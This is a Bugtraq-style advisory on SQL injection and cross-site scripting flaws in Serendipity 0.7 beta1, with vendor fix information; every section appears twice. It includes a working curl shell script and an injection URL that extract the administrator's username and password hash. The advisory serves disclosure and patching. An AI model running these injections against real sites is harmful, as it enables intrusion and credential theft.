Serendipity Multiple Input Validation Vulnerabilities
BID:11269
Info
Serendipity Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 11269 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 28 2004 12:00AM |
| Updated: | Sep 28 2004 12:00AM |
| Credit: | Discovery of these vulnerabilities is credited to [email protected]. |
| Vulnerable: |
S9Y Serendipity 0.7 beta1 |
| Not Vulnerable: |
S9Y Serendipity 0.7 beta3 |
Discussion
Serendipity Multiple Input Validation Vulnerabilities
It is reported that Serendipity is susceptible to multiple cross-site scripting and SQL injection vulnerabilities.
The cross-site scripting issues present themselves in certain parameters of the 'Comment.php' script. An attacker can exploit these issues by creating a malicious link containing HTML and script code and send this link to a vulnerable user.
SQL injection issues exist in the application as well. These issues affect the parameters of the 'exit.php' and 'comment.php' scripts. Due to this, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries.
These vulnerabilities were reported in Serendipity 0.7-beta1. Other versions may also be affected.
It is reported that Serendipity is susceptible to multiple cross-site scripting and SQL injection vulnerabilities.
The cross-site scripting issues present themselves in certain parameters of the 'Comment.php' script. An attacker can exploit these issues by creating a malicious link containing HTML and script code and send this link to a vulnerable user.
SQL injection issues exist in the application as well. These issues affect the parameters of the 'exit.php' and 'comment.php' scripts. Due to this, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries.
These vulnerabilities were reported in Serendipity 0.7-beta1. Other versions may also be affected.
Exploit / POC
Serendipity Multiple Input Validation Vulnerabilities
The following examples are available:
Usage: ./ser_sqli_poc.sh URL_to_Serendipity_Weblog
ser_sqli_poc.sh
---------8<-----------8<-------------
#!/bin/sh
echo -n "Username: "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20username%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
echo -n "MD5(password): "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20password%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
---------8<-----------8<-------------
Proof of Concept 2
------------------
Copy&Paste this to your browser and edit URL_to_Serendipity_Weblog.
http://www.example.com/comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20f
rom%20serendipity_authors%20where%20authorid=1%20/*
The following examples are available:
Usage: ./ser_sqli_poc.sh URL_to_Serendipity_Weblog
ser_sqli_poc.sh
---------8<-----------8<-------------
#!/bin/sh
echo -n "Username: "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20username%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
echo -n "MD5(password): "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20password%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
---------8<-----------8<-------------
Proof of Concept 2
------------------
Copy&Paste this to your browser and edit URL_to_Serendipity_Weblog.
http://www.example.com/comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20f
rom%20serendipity_authors%20where%20authorid=1%20/*
Solution / Fix
Serendipity Multiple Input Validation Vulnerabilities
Solution:
The vendor has released an update to address these issues:
S9Y Serendipity 0.7 beta1
Solution:
The vendor has released an update to address these issues:
S9Y Serendipity 0.7 beta1
-
S9Y Serendipity 0.7-beta3
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-beta3.tar. gz?download